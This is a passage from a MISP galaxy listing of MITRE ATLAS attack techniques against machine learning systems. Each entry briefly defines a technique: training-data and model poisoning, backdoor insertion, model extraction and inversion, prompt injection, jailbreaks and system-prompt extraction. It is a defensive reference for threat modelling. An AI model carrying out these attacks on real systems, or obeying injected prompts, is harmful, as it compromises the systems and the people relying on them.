An adversary can also target private datasets in the labeling phase. The creation of private datasets will often require the hiring of outside labeling services. An adversary can poison a dataset by modifying the labels being generated by the labeling service.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Data"*

Table 7826. Table References

Links
https://atlas.mitre.org/techniques/AML.T0010.002

Model

Machine learning systems often rely on open sourced models in various ways. Most commonly, the victim organization may be using these models for fine tuning. These models will be downloaded from an external source and then used as the base for the model as it is tuned on a smaller, private dataset. Loading models often requires executing some saved code in the form of a saved model file. These can be compromised with traditional malware, or through some adversarial machine learning techniques.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Model"*

Table 7827. Table References

Links
https://atlas.mitre.org/techniques/AML.T0010.003

User Execution

An adversary may rely upon specific actions by a user in order to gain execution. Users may inadvertently execute unsafe code introduced via [ML Supply Chain Compromise](/techniques/AML.T0010). Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="User Execution"*

Table 7828. Table References

Links
https://atlas.mitre.org/techniques/AML.T0011

Unsafe ML Artifacts

Adversaries may develop unsafe ML artifacts that when executed have a deleterious effect. The adversary can use this technique to establish persistent access to systems. These models may be introduced via a [ML Supply Chain Compromise](/techniques/AML.T0010).

Serialization of models is a popular technique for model storage, transfer, and loading. However, this format without proper checking presents an opportunity for code execution.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts"*

Table 7829. Table References

Links
https://atlas.mitre.org/techniques/AML.T0011.000

Malicious Package

Adversaries may develop malicious software packages that when imported by a user have a deleterious effect. Malicious packages may behave as expected to the user. They may be introduced via [ML Supply Chain Compromise](/techniques/AML.T0010). They may not present as obviously malicious to the user and may appear to be useful for an AI-related task.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Malicious Package"*

Table 7830. Table References

Links
https://atlas.mitre.org/techniques/AML.T0011.001

Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. Credentials may take the form of usernames and passwords of individual user accounts or API keys that provide access to various ML resources and services.

Compromised credentials may provide access to additional ML artifacts and allow the adversary to perform [Discover ML Artifacts](/techniques/AML.T0007). Compromised credentials may also grant an adversary increased privileges such as write access to ML artifacts used during development or production.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Valid Accounts"*

Table 7831. Table References

Links
https://atlas.mitre.org/techniques/AML.T0012

Discover ML Model Ontology

Adversaries may discover the ontology of a machine learning model's output space, for example, the types of objects a model can detect. The adversary may discovery the ontology by repeated queries to the model, forcing it to enumerate its output space. Or the ontology may be discovered in a configuration file or in documentation about the model.

The model ontology helps the adversary understand how the model is being used by the victim. It is useful to the adversary in creating targeted attacks.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Ontology"*

Table 7832. Table References

Links
https://atlas.mitre.org/techniques/AML.T0013

Discover ML Model Family

Adversaries may discover the general family of model. General information about the model may be revealed in documentation, or the adversary may use carefully constructed examples and analyze the model's responses to categorize it.

Knowledge of the model family can help the adversary identify means of attacking the model and help tailor the attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family"*

Table 7833. Table References

Links

https://atlas.mitre.org/techniques/AML.T0014

Evade ML Model

Adversaries can [Craft Adversarial Data](/techniques/AML.T0043) that prevent a machine learning model from correctly identifying the contents of the data. This technique can be used to evade a downstream task where machine learning is utilized. The adversary may evade machine learning based virus/malware detection, or network scanning towards the goal of a traditional cyber attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model"*

Table 7834. Table References

Links
https://atlas.mitre.org/techniques/AML.T0015

Obtain Capabilities

Adversaries may search for and obtain software capabilities for use in their operations. Capabilities may be specific to ML-based attacks [Adversarial ML Attack Implementations](/techniques/AML.T0016.000) or generic software tools repurposed for malicious intent ([Software Tools](/techniques/AML.T0016.001)). In both instances, an adversary may modify or customize the capability to aid in targeting a particular ML system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Obtain Capabilities"*

Table 7835. Table References

Links
https://atlas.mitre.org/techniques/AML.T0016

Adversarial ML Attack Implementations

Adversaries may search for existing open source implementations of machine learning attacks. The research community often publishes their code for reproducibility and to further future research. Libraries intended for research purposes, such as CleverHans, the Adversarial Robustness Toolbox, and FoolBox, can be weaponized by an adversary. Adversaries may also obtain and use tools that were not originally designed for adversarial ML attacks as part of their attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Adversarial ML Attack Implementations"*

Table 7836. Table References

Links
https://atlas.mitre.org/techniques/AML.T0016.000

Software Tools

Adversaries may search for and obtain software tools to support their operations. Software designed for legitimate use may be repurposed by an adversary for malicious intent. An adversary may modify or customize software tools to achieve their purpose. Software tools used to support attacks on ML systems are not necessarily ML-based themselves.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Software Tools"*

Table 7837. Table References

Links
https://atlas.mitre.org/techniques/AML.T0016.001

Develop Capabilities

Adversaries may develop their own capabilities to support operations. This process encompasses identifying requirements, building solutions, and deploying capabilities. Capabilities used to support attacks on ML systems are not necessarily ML-based themselves. Examples include setting up websites with adversarial information or creating Jupyter notebooks with obfuscated exfiltration code.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Develop Capabilities"*

Table 7838. Table References

Links
https://atlas.mitre.org/techniques/AML.T0017

Adversarial ML Attacks

Adversaries may develop their own adversarial attacks. They may leverage existing libraries as a starting point ([Adversarial ML Attack Implementations](/techniques/AML.T0016.000)). They may implement ideas described in public research papers or develop custom made attacks for the victim model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Adversarial ML Attacks"*

Table 7839. Table References

Links
https://atlas.mitre.org/techniques/AML.T0017.000

Backdoor ML Model

Adversaries may introduce a backdoor into a ML model. A backdoored model operates performs as expected under typical conditions, but will produce the adversary's desired output when a trigger is introduced to the input data. A backdoored model provides the adversary with a persistent

artifact on the victim system. The embedded vulnerability is typically activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004)

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Backdoor ML Model"*

Table 7840. Table References

Links
https://atlas.mitre.org/techniques/AML.T0018

Poison ML Model

Adversaries may introduce a backdoor by training the model poisoned data, or by interfering with its training process. The model learns to associate an adversary-defined trigger with the adversary's desired output.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model"*

Table 7841. Table References

Links
https://atlas.mitre.org/techniques/AML.T0018.000

Inject Payload

Adversaries may introduce a backdoor into a model by injecting a payload into the model file. The payload detects the presence of the trigger and bypasses the model, instead producing the adversary's desired output.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Inject Payload"*

Table 7842. Table References

Links
https://atlas.mitre.org/techniques/AML.T0018.001

Publish Poisoned Datasets

Adversaries may [Poison Training Data](/techniques/AML.T0020) and publish it to a public location. The poisoned dataset may be a novel dataset or a poisoned variant of an existing open source dataset. This data may be introduced to a victim system via [ML Supply Chain Compromise](/techniques/AML.T0010).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Publish Poisoned Datasets"*

Table 7843. Table References

Links
https://atlas.mitre.org/techniques/AML.T0019

Poison Training Data

Adversaries may attempt to poison datasets used by a ML model by modifying the underlying data or its labels. This allows the adversary to embed vulnerabilities in ML models trained on the data that may not be easily detectable. Data poisoning attacks may or may not require modifying the labels. The embedded vulnerability is activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004)

Poisoned data can be introduced via [ML Supply Chain Compromise](/techniques/AML.T0010) or the data may be poisoned after the adversary gains [Initial Access](/tactics/AML.TA0004) to the system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data"*

Table 7844. Table References

Links
https://atlas.mitre.org/techniques/AML.T0020

Establish Accounts

Adversaries may create accounts with various services for use in targeting, to gain access to resources needed in [ML Attack Staging](/tactics/AML.TA0001), or for victim impersonation.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Establish Accounts"*

Table 7845. Table References

Links
https://atlas.mitre.org/techniques/AML.T0021

Exfiltration via ML Inference API

Adversaries may exfiltrate private information via [AI Model Inference API Access](/techniques/AML.T0040). ML Models have been shown leak private information about their training data (e.g. [Infer Training Data Membership](/techniques/AML.T0024.000), [Invert ML Model](/techniques/AML.T0024.001)). The model itself may also be extracted ([Extract ML Model](/techniques/AML.T0024.002)) for the purposes of [ML Intellectual Property Theft](/techniques/AML.T0048.004).

Exfiltration of information relating to private training data raises privacy concerns. Private training data may include personally identifiable information, or other protected data.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API"*

Table 7846. Table References

Links
https://atlas.mitre.org/techniques/AML.T0024

Infer Training Data Membership

Adversaries may infer the membership of a data sample in its training set, which raises privacy concerns. Some strategies make use of a shadow model that could be obtained via [Train Proxy via Replication](/techniques/AML.T0005.001), others use statistics of model prediction scores.

This can cause the victim model to leak private information, such as PII of those in the training set or other forms of protected IP.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership"*

Table 7847. Table References

Links
https://atlas.mitre.org/techniques/AML.T0024.000

Invert ML Model

Machine learning models' training data could be reconstructed by exploiting the confidence scores that are available via an inference API. By querying the inference API strategically, adversaries can back out potentially private information embedded within the training data. This could lead to privacy violations if the attacker can reconstruct the data of sensitive features used in the algorithm.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model"*

Table 7848. Table References

Links
https://atlas.mitre.org/techniques/AML.T0024.001

Extract ML Model

Adversaries may extract a functional copy of a private model. By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

Adversaries may extract the model to avoid paying per query in a machine learning as a service setting. Model extraction is used for [ML Intellectual Property Theft](/techniques/AML.T0048.004).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model"*

Table 7849. Table References

Links
https://atlas.mitre.org/techniques/AML.T0024.002

Exfiltration via Cyber Means

Adversaries may exfiltrate ML artifacts or other information relevant to their goals via traditional cyber means.

See the ATT&CK [Exfiltration](https://attack.mitre.org/tactics/TA0010/) tactic for more information.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via Cyber Means"*

Table 7850. Table References

Links
https://atlas.mitre.org/techniques/AML.T0025

Denial of ML Service

Adversaries may target machine learning systems with a flood of requests for the purpose of degrading or shutting down the service. Since many machine learning systems require significant amounts of specialized compute, they are often expensive bottlenecks that can become overloaded. Adversaries can intentionally craft inputs that require heavy amounts of useless compute from the machine learning system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service"*

Table 7851. Table References

Links
https://atlas.mitre.org/techniques/AML.T0029

Erode ML Model Integrity

Adversaries may degrade the target model's performance with adversarial data inputs to erode confidence in the system over time. This can lead to the victim organization wasting time and money both attempting to fix the system and performing the tasks it was meant to automate by hand.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity"*

Table 7852. Table References

Links
https://atlas.mitre.org/techniques/AML.T0031

Cost Harvesting

Adversaries may target different machine learning services to send useless queries or computationally expensive inputs to increase the cost of running services at the victim organization. Sponge examples are a particular type of adversarial data designed to maximize

energy consumption and thus operating cost.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Cost Harvesting"*

Table 7853. Table References

Links
https://atlas.mitre.org/techniques/AML.T0034

ML Artifact Collection

Adversaries may collect ML artifacts for [Exfiltration](/tactics/AML.TA0010) or for use in [ML Attack Staging](/tactics/AML.TA0001). ML artifacts include models and datasets as well as other telemetry data produced when interacting with a model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Artifact Collection"*

Table 7854. Table References

Links
https://atlas.mitre.org/techniques/AML.T0035

Data from Information Repositories

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include SharePoint, Confluence, and enterprise databases such as SQL Server.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Data from Information Repositories"*

Table 7855. Table References

Links
https://atlas.mitre.org/techniques/AML.T0036

Data from Local System

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

This can include basic fingerprinting information and sensitive data such as ssh keys.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Data from Local System"*

Table 7856. Table References

Links
https://atlas.mitre.org/techniques/AML.T0037

AI Model Inference API Access

Adversaries may gain access to a model via legitimate access to the inference API. Inference API access can be a source of information to the adversary ([Discover ML Model Ontology](/techniques/AML.T0013), [Discover ML Model Family](/techniques/AML.T0014)), a means of staging the attack ([Verify Attack](/techniques/AML.T0042), [Craft Adversarial Data](/techniques/AML.T0043)), or for introducing data to the target system for Impact ([Evade ML Model](/techniques/AML.T0015), [Erode ML Model Integrity](/techniques/AML.T0031)).

Many systems rely on the same models provided via an inference API, which means they share the same vulnerabilities. This is especially true of foundation models which are prohibitively resource intensive to train. Adversaries may use their access to model APIs to identify vulnerabilities such as jailbreaks or hallucinations and then target applications that use the same models.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="AI Model Inference API Access"*

Table 7857. Table References

Links
https://atlas.mitre.org/techniques/AML.T0040

Physical Environment Access

In addition to the attacks that take place purely in the digital domain, adversaries may also exploit the physical environment for their attacks. If the model is interacting with data collected from the real world in some way, the adversary can influence the model through access to wherever the data is being collected. By modifying the data in the collection process, the adversary can perform modified versions of attacks designed for digital access.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Physical Environment Access"*

Table 7858. Table References

Links
https://atlas.mitre.org/techniques/AML.T0041

Verify Attack

Adversaries can verify the efficacy of their attack via an inference API or access to an offline copy of the target model. This gives the adversary confidence that their approach works and allows them to carry out the attack at a later time of their choosing. The adversary may verify the attack once but use it against many edge devices running copies of the target model. The adversary may verify their attack digitally, then deploy it in the [Physical Environment Access](/techniques/AML.T0041) at

a later time. Verifying the attack may be hard to detect since the adversary can use a minimal number of queries or an offline copy of the model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Verify Attack"*

Table 7859. Table References

Links
https://atlas.mitre.org/techniques/AML.T0042

Craft Adversarial Data

Adversarial data are inputs to a machine learning model that have been modified such that they cause the adversary's desired effect in the target model. Effects can range from misclassification, to missed detections, to maximizing energy consumption. Typically, the modification is constrained in magnitude or location so that a human still perceives the data as if it were unmodified, but human perceptibility may not always be a concern depending on the adversary's intended effect. For example, an adversarial input for an image classification task is an image the machine learning model would misclassify, but a human would still recognize as containing the correct class.

Depending on the adversary's knowledge of and access to the target model, the adversary may use different classes of algorithms to develop the adversarial example such as [White-Box Optimization](/techniques/AML.T0043.000), [Black-Box Optimization](/techniques/AML.T0043.001), [Black-Box Transfer](/techniques/AML.T0043.002), or [Manual Modification](/techniques/AML.T0043.003).

The adversary may [Verify Attack](/techniques/AML.T0042) their approach works if they have white-box or inference API access to the model. This allows the adversary to gain confidence their attack is effective "live" environment where their attack may be noticed. They can then use the attack at a later time to accomplish their goals. An adversary may optimize adversarial examples for [Evade ML Model](/techniques/AML.T0015), or to [Erode ML Model Integrity](/techniques/AML.T0031).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Craft Adversarial Data"*

Table 7860. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043

White-Box Optimization

In White-Box Optimization, the adversary has full access to the target model and optimizes the adversarial example directly. Adversarial examples trained in this manner are most effective against the target model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="White-Box Optimization"*

Table 7861. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043.000

Black-Box Optimization

In Black-Box attacks, the adversary has black-box (i.e. [AI Model Inference API Access](/techniques/AML.T0040) via API access) access to the target model. With black-box attacks, the adversary may be using an API that the victim is monitoring. These attacks are generally less effective and require more inferences than [White-Box Optimization](/techniques/AML.T0043.000) attacks, but they require much less access.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization"*

Table 7862. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043.001

Black-Box Transfer

In Black-Box Transfer attacks, the adversary uses one or more proxy models (trained via [Create Proxy ML Model](/techniques/AML.T0005) or [Train Proxy via Replication](/techniques/AML.T0005.001)) they have full access to and are representative of the target model. The adversary uses [White-Box Optimization](/techniques/AML.T0043.000) on the proxy models to generate adversarial examples. If the set of proxy models are close enough to the target model, the adversarial example should generalize from one to another. This means that an attack that works for the proxy models will likely then work for the target model. If the adversary has [AI Model Inference API Access](/techniques/AML.T0040), they may use [Verify Attack](/techniques/AML.T0042) to confirm the attack is working and incorporate that information into their training process.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Black-Box Transfer"*

Table 7863. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043.002

Manual Modification

Adversaries may manually modify the input data to craft adversarial data. They may use their knowledge of the target model to modify parts of the data they suspect helps the model in performing its task. The adversary may use trial and error until they are able to verify they have a working adversarial input.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Manual Modification"*

Table 7864. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043.003

Insert Backdoor Trigger

The adversary may add a perceptual trigger into inference data. The trigger may be imperceptible or non-obvious to humans. This technique is used in conjunction with [Poison ML Model](/techniques/AML.T0018.000) and allows the adversary to produce their desired effect in the target model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Insert Backdoor Trigger"*

Table 7865. Table References

Links
https://atlas.mitre.org/techniques/AML.T0043.004

Full ML Model Access

Adversaries may gain full "white-box" access to a machine learning model. This means the adversary has complete knowledge of the model architecture, its parameters, and class ontology. They may exfiltrate the model to [Craft Adversarial Data](/techniques/AML.T0043) and [Verify Attack](/techniques/AML.T0042) in an offline where it is hard to detect their behavior.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Full ML Model Access"*

Table 7866. Table References

Links
https://atlas.mitre.org/techniques/AML.T0044

Spamming ML System with Chaff Data

Adversaries may spam the machine learning system with chaff data that causes increase in the number of detections. This can cause analysts at the victim organization to waste time reviewing and correcting incorrect inferences.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Spamming ML System with Chaff Data"*

Table 7867. Table References

Links
https://atlas.mitre.org/techniques/AML.T0046

ML-Enabled Product or Service

Adversaries may use a product or service that uses machine learning under the hood to gain access to the underlying machine learning model. This type of indirect model access may reveal details of the ML model or its inferences in logs or metadata.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML-Enabled Product or Service"*

Table 7868. Table References

Links
https://atlas.mitre.org/techniques/AML.T0047

External Harms

Adversaries may abuse their access to a victim system and use its resources or capabilities to further their goals by causing harms external to that system. These harms could affect the organization (e.g. Financial Harm, Reputational Harm), its users (e.g. User Harm), or the general public (e.g. Societal Harm).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="External Harms"*

Table 7869. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048

Financial Harm

Financial harm involves the loss of wealth, property, or other monetary assets due to theft, fraud or forgery, or pressure to provide financial resources to the adversary.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Financial Harm"*

Table 7870. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.000

Reputational Harm

Reputational harm involves a degradation of public perception and trust in organizations. Examples of reputation-harming incidents include scandals or false impersonations.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Reputational Harm"*

Table 7871. Table References

Links

https://atlas.mitre.org/techniques/AML.T0048.001

Societal Harm

Societal harms might generate harmful outcomes that reach either the general public or specific vulnerable groups such as the exposure of children to vulgar content.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Societal Harm"*

Table 7872. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.002

User Harm

User harms may encompass a variety of harm types including financial and reputational that are directed at or felt by individual victims of the attack rather than at the organization level.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="User Harm"*

Table 7873. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.003

ML Intellectual Property Theft

Adversaries may exfiltrate ML artifacts to steal intellectual property and cause economic harm to the victim organization.

Proprietary training data is costly to collect and annotate and may be a target for [Exfiltration](/tactics/AML.TA0010) and theft.

MLaaS providers charge for use of their API. An adversary who has stolen a model via [Exfiltration](/tactics/AML.TA0010) or via [Extract ML Model](/techniques/AML.T0024.002) now has unlimited use of that service without paying the owner of the intellectual property.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Intellectual Property Theft"*

Table 7874. Table References

Links
https://atlas.mitre.org/techniques/AML.T0048.004

Exploit Public-Facing Application

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or

program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Exploit Public-Facing Application"*

Table 7875. Table References

Links
https://atlas.mitre.org/techniques/AML.T0049

Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Command and Scripting Interpreter"*

Table 7876. Table References

Links
https://atlas.mitre.org/techniques/AML.T0050

LLM Prompt Injection

An adversary may craft malicious prompts as inputs to an LLM that cause the LLM to act in unintended ways. These "prompt injections" are often designed to cause the model to ignore aspects of its original instructions and follow the adversary’s instructions instead.

Prompt Injections can be an initial access vector to the LLM that provides the adversary with a foothold to carry out other steps in their operation. They may be designed to bypass defenses in the LLM, or allow the adversary to issue privileged commands. The effects of a prompt injection can persist throughout an interactive session with an LLM.

Malicious prompts may be injected directly by the adversary ([Direct](/techniques/AML.T0051.000)) either to leverage the LLM to generate harmful content or to gain a foothold on the system and lead to further effects. Prompts may also be injected indirectly when as part of its normal operation the LLM ingests the malicious prompt from another data source ([Indirect](/techniques/AML.T0051.001)). This type of injection can be used by the adversary to a foothold on the system or to target the user of the LLM.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Injection"*

Table 7877. Table References

Links
https://atlas.mitre.org/techniques/AML.T0051

Direct

An adversary may inject prompts directly as a user of the LLM. This type of injection may be used by the adversary to gain a foothold in the system or to misuse the LLM itself, as for example to generate harmful content.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Direct"*

Table 7878. Table References

Links
https://atlas.mitre.org/techniques/AML.T0051.000

Indirect

An adversary may inject prompts indirectly via separate data channel ingested by the LLM such as include text or multimedia pulled from databases or websites. These malicious prompts may be hidden or obfuscated from the user. This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Indirect"*

Table 7879. Table References

Links
https://atlas.mitre.org/techniques/AML.T0051.001

Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Generative AI, including LLMs that generate synthetic text, visual deepfakes of faces, and audio deepfakes of speech, is enabling adversaries to scale targeted phishing campaigns. LLMs can interact with users via text conversations and can be programmed with a meta prompt to phish for sensitive information. Deepfakes can be use in impersonation as an aid to phishing.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Phishing"*

Table 7880. Table References

Links
https://atlas.mitre.org/techniques/AML.T0052

Spearphishing via Social Engineering LLM

Adversaries may turn LLMs into targeted social engineers. LLMs are capable of interacting with users via text conversations. They can be instructed by an adversary to seek sensitive information from a user and act as effective social engineers. They can be targeted towards particular personas defined by the adversary. This allows adversaries to scale spearphishing efforts and target individuals to reveal private information such as credentials to privileged systems.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Spearphishing via Social Engineering LLM"*

Table 7881. Table References

Links
https://atlas.mitre.org/techniques/AML.T0052.000

LLM Plugin Compromise

Adversaries may use their access to an LLM that is part of a larger system to compromise connected plugins. LLMs are often connected to other services or resources via plugins to increase their capabilities. Plugins may include integrations with other applications, access to public or private data sources, and the ability to execute code.

This may allow adversaries to execute API calls to integrated applications or plugins, providing the adversary with increased privileges on the system. Adversaries may take advantage of connected data sources to retrieve sensitive information. They may also use an LLM integrated with a command or script interpreter to execute arbitrary instructions.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Plugin Compromise"*

Table 7882. Table References

Links
https://atlas.mitre.org/techniques/AML.T0053

LLM Jailbreak

An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to place LLM in a state in which it will freely respond to any user input, bypassing any controls, restrictions, or guardrails placed on the LLM. Once successfully jailbroken, the LLM can be used in unintended ways by the adversary.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Jailbreak"*

Table 7883. Table References

Links
https://atlas.mitre.org/techniques/AML.T0054

Unsecured Credentials

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. bash history), environment variables, operating system, or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. private keys).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Unsecured Credentials"*

Table 7884. Table References

Links
https://atlas.mitre.org/techniques/AML.T0055

LLM Meta Prompt Extraction

An adversary may induce an LLM to reveal its initial instructions, or "meta prompt." Discovering the meta prompt can inform the adversary about the internal workings of the system. Prompt engineering is an emerging field that requires expertise and exfiltrating the meta prompt can prompt in order to steal valuable intellectual property.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Meta Prompt Extraction"*

Table 7885. Table References

Links
https://atlas.mitre.org/techniques/AML.T0056

LLM Data Leakage

Adversaries may craft prompts that induce the LLM to leak sensitive information. This can include private user data or proprietary information. The leaked information may come from proprietary training data, data sources the LLM is connected to, or information from other users of the LLM.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Data Leakage"*

Table 7886. Table References

Links
https://atlas.mitre.org/techniques/AML.T0057

Publish Poisoned Models

Adversaries may publish a poisoned model to a public location such as a model registry or code repository. The poisoned model may be a novel model or a poisoned variant of an existing open-source model. This model may be introduced to a victim system via [ML Supply Chain Compromise](/techniques/AML.T0010).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Publish Poisoned Models"*

Table 7887. Table References

Links
https://atlas.mitre.org/techniques/AML.T0058

Erode Dataset Integrity

Adversaries may poison or manipulate portions of a dataset to reduce its usefulness, reduce trust, and cause users to waste resources correcting errors.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Erode Dataset Integrity"*

Table 7888. Table References

Links
https://atlas.mitre.org/techniques/AML.T0059

Publish Hallucinated Entities

Adversaries may create an entity they control, such as a software package, website, or email address to a source hallucinated by an LLM. The hallucinations may take the form of package names commands, URLs, company names, or email addresses that point the victim to the entity controlled by the adversary. When the victim interacts with the adversary-controlled entity, the attack can proceed.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Publish Hallucinated Entities"*

Table 7889. Table References

Links
https://atlas.mitre.org/techniques/AML.T0060

LLM Prompt Self-Replication

An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to cause the LLM to replicate the prompt as part of its output. This allows the prompt to propagate to other LLMs and persist on the system. The self-replicating prompt is typically paired with other malicious instructions (ex: [LLM Jailbreak](/techniques/AML.T0054), [LLM Data Leakage](/techniques/AML.T0057)).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="LLM Prompt Self-Replication"*

Table 7890. Table References

Links
https://atlas.mitre.org/techniques/AML.T0061

Discover LLM Hallucinations

Adversaries may prompt large language models and identify hallucinated entities. They may request software packages, commands, URLs, organization names, or e-mail addresses, and identify hallucinations with no connected real-world source. Discovered hallucinations provide the adversary with potential targets to [Publish Hallucinated Entities](/techniques/AML.T0060). Different LLMs have been shown to produce the same hallucinations, so the hallucinations exploited by an adversary may affect users of other LLMs.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover LLM Hallucinations"*

Table 7891. Table References

Links
https://atlas.mitre.org/techniques/AML.T0062

Discover AI Model Outputs

Adversaries may discover model outputs, such as class scores, whose presence is not required for the system to function and are not intended for use by the end user. Model outputs may be found in logs or may be included in API responses. Model outputs may enable the adversary to identify weaknesses in the model and develop attacks.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover AI Model Outputs"*

Table 7892. Table References

Links
https://atlas.mitre.org/techniques/AML.T0063

MITRE ATLAS Course of Action

MITRE ATLAS Mitigation - Adversarial Threat Landscape for Artificial-Intelligence Systems.

MITRE ATLAS Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Limit Public Release of Information

Limit the public release of technical information about the machine learning stack used in an organization's products or services. Technical knowledge of how machine learning is used can be leveraged by adversaries to perform targeting and tailor attacks to the target system. Additionally, consider limiting the release of organizational information - including physical locations, researcher names, and department structures - from which technical details such as machine learning techniques, model architectures, or datasets may be inferred.

